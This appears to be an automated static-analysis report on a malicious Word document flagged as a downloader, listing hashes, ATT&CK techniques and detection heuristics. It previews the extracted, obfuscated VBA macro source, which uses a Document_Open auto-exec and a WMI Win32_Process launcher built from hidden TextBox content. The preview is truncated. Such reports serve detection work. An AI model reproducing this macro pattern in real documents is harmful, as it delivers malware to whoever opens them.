Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a3e35db7d42cfac1…

MALICIOUS

Office (OLE)

190.7 KB Created: 2019-12-06 23:21:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 7d7d9b3fc572085e156f7c7fda9303af SHA-1: 54ca3e790807b91aec85defe924b06521588125b SHA-256: a3e35db7d42cfac16fd1260aff564bbb84e0e74557dcfdc78f5434f9a40b8c0f
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The heuristics indicate the use of CreateObject to launch a Win32_Process, suggesting an attempt to execute a secondary payload. ClamAV also identified this as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-7435192-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7435192-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7726 bytes
SHA-256: 51540f492792092181cf724acd1db65532a289c1fc68aad79d2b14f9bf723cf2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Jkfsnjxex"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Hbuqukjrtv, 0, 0, MSForms, TextBox"
Attribute VB_Control = "Zkptdnuky, 1, 1, MSForms, TextBox"
Attribute VB_Control = "Uyvugvmffxpvc, 2, 2, MSForms, TextBox"
Attribute VB_Control = "Wcowhsxrrkv, 3, 3, MSForms, TextBox"
Attribute VB_Control = "Murlamyy, 4, 4, MSForms, TextBox"
Attribute VB_Control = "Ydyhasimvppc, 5, 5, MSForms, TextBox"
Attribute VB_Control = "Kqlipggaf, 6, 6, MSForms, TextBox"
Attribute VB_Control = "Ezvljajhgv, 7, 7, MSForms, TextBox"
Attribute VB_Control = "Yrlfuassoe, 8, 8, MSForms, TextBox"
Attribute VB_Control = "Qaykuzpsv, 9, 9, MSForms, TextBox"
Attribute VB_Control = "Czmgglpeiy, 10, 10, MSForms, TextBox"
Attribute VB_Control = "Skoaikvsbjrc, 11, 11, MSForms, TextBox"
Private Sub Document_open()
   Hlvjyjaf = Yiifuvrqaxwvv
Select Case Hlvjyjaf
      Case 241118429
         MzXN1 = Hlvjyjaf
         NBnD22 = ChrW(865)
      Case 9723
         DUyy = Atn(LhnDHLR4 / 5)
         UFmR = Fix(558)
      Case 396
         DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
         MjEA = Oct(vzAg3C9b)
   End Select
   Hlvjyjaf = Axwnsbot
Select Case Hlvjyjaf
      Case 241118429
         MzXN1 = Hlvjyjaf
         NBnD22 = ChrW(865)
      Case 9723
         DUyy = Atn(LhnDHLR4 / 5)
         UFmR = Fix(558)
      Case 396
         DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
         MjEA = Oct(vzAg3C9b)
   End Select
   Hlvjyjaf = Bodfcnjjcil
Select Case Hlvjyjaf
      Case 241118429
         MzXN1 = Hlvjyjaf
         NBnD22 = ChrW(865)
      Case 9723
         DUyy = Atn(LhnDHLR4 / 5)
         UFmR = Fix(558)
      Case 396
         DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
         MjEA = Oct(vzAg3C9b)
   End Select
Mwtixetznuwvs
End Sub

Attribute VB_Name = "Nygcypbd"
Attribute VB_Base = "0{5DBD5589-3AC5-4604-9E78-BE06421C378F}{F02019B7-0F42-4250-8637-D9EC78AE8B22}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Klidrqeaba"
Function Mwtixetznuwvs()
   Hlvjyjaf = Wtnqplmumjeb
Select Case Hlvjyjaf
      Case 241118429
         MzXN1 = Hlvjyjaf
         NBnD22 = ChrW(865)
      Case 9723
         DUyy = Atn(LhnDHLR4 / 5)
         UFmR = Fix(558)
      Case 396
         DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
         MjEA = Oct(vzAg3C9b)
   End Select
Wvhfqggneb = "winmgmts:Win32_Process"
   Hlvjyjaf = Svmswxxawfskt
Select Case Hlvjyjaf
      Case 241118429
         MzXN1 = Hlvjyjaf
         NBnD22 = ChrW(865)
      Case 9723
         DUyy = Atn(LhnDHLR4 / 5)
         UFmR = Fix(558)
      Case 396
         DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
         MjEA = Oct(vzAg3C9b)
   End Select
Sejttezaevt = Wvhfqggneb + ("STARTU")
   Hlvjyjaf = Liyqetbjp
Select Case Hlvjyjaf
      Case 241118429
         MzXN1 = Hlvjyjaf
         NBnD22 = ChrW(865)
      Case 9723
         DUyy = Atn(LhnDHLR4 / 5)
         UFmR = Fix(558)
      Case 396
         DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
         MjEA = Oct(vzAg3C9b)
   End Select
Sjincwbuvc = Sejttezaevt + Jkfsnjxex.Murlamyy
   Hlvjyjaf = Mpnodawd
Select Case Hlvjyjaf
      Case 241118429
         MzXN1 = Hlvjyjaf
         NBnD22 = ChrW(865)
      Case 9723
         DUyy = Atn(LhnDHLR4 / 5)
         UFmR = Fix(558)
      Case 396
         DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
         MjEA = Oct(vzAg3C9b)
   End Select
Set Mwtixetznuwvs = 
... (truncated)

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